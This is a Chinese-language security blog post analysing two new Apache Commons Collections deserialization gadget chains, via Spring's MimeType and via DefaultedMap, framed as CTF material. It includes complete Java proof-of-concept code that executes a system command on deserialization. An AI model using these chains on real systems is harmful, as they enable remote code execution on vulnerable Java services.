CC链的一些新方式
3 分钟
MimeType触发CC链
在org.springframework.util.MimeType
中存在readObject
触发LazyMap.get()
方法从而串联起CC
链,说不定可以当成CTF
题目进行出题,这里记录以下。
整条链子如下:
MimeMap.readObject()->MimeMap.getParameter()->
LazyMap.get()->ChainedTransformer.transform()->
->InvokeTransform.transform()->method.invoke()
链子分析如下:
在MimeType#readObject方法中,
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
String charsetName = this.getParameter("charset");
if (charsetName != null) {
this.resolvedCharset = Charset.forName(this.unquote(charsetName));
}
}
这里会触发getParameter
方法,这个方法下刚好能够调用get
方法,而parameters
参数刚好是一个Map
类型。
private final Map parameters;
@Nullable
public String getParameter(String name) {
return (String)this.parameters.get(name);
}
因此只需要将paramters
参数设置为LazyMap
即可串联起CC
链子的后面部分。
payload如下:
package com.example.demo.demos.web;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import org.apache.commons.collections.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map map1 = LazyMap.decorate(map, chainedTransformer);
MimeType mimeType=new MimeType("test");
Field field=MimeType.class.getDeclaredField("parameters");
field.setAccessible(true);
field.set(mimeType,map1);
unserialize(serialize(mimeType));
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
DefaultMap链子
虽然说这种链子除了能在CTF
出某些题目之外,已经不存在什么实际的意义,但是既然看了,那就顺带记下来的,说不定以后有出题的机会。
DefaultMap分析
在DefaultMap
中可以看到与LazyMap
中几乎相似的代码,也是属于它的get
方法。
也就是说,如果这里的map
与value
可控,那么就能够换掉LazyMap
,并且与ChainedTransform
拼接形成一条新的触发链。
那么有所不同的地方是什么呢?就是在于赋值的问题,在LazyMap
中我们可以直接通过decorate
方法直接对map factory
进行赋值,从而控制掉get
方法中的参数值。
在DefaultMap
中,map
是属于父类AbstractMapDecorator
的属性,所以仅仅需要使用反射进行赋值即可达到我们的效果。
因此整条链子Gadgets
如下:
HashMap#readObject()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->DefaultMap#get()->ChainedTransform#transform()->InvokerTransformer#transform()
poc如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class defaultMapCC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map<Object, Object> innerMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
DefaultedMap defaultedMap=new DefaultedMap(chainedTransformer);
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(defaultedMap, innerMap);
// 通过反射设置value字段
Field valueField = DefaultedMap.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(defaultedMap, chainedTransformer);
DefaultedMap defaultedMap2=new DefaultedMap("test");
HashMap<Object,Object> map=new HashMap<>();
TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap2,"aaa");//设置一个空值,防止序列化的时候就触发
map.put(tiedMapEntry,"bbb");
Field field=TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,defaultedMap);
unserialize(serialize(map));
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] data) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(data));
objectInputStream.readObject();
}
}
总结
事实上如果有足够耐心的查找一些类的方法,对于一些这种换掉某个类的新链子肯定还有很多。但是实际的意义并不大,因为现实的场景已经不再可能使用对应漏洞版本的依赖包进行开发。
~ ~ The End ~ ~
分类标签:Web安全,Web安全
文章标题:CC链的一些新方式
文章链接:https://aiwin.fun/index.php/archives/4397/
最后编辑:2024 年 5 月 27 日 16:52 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:CC链的一些新方式
文章链接:https://aiwin.fun/index.php/archives/4397/
最后编辑:2024 年 5 月 27 日 16:52 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)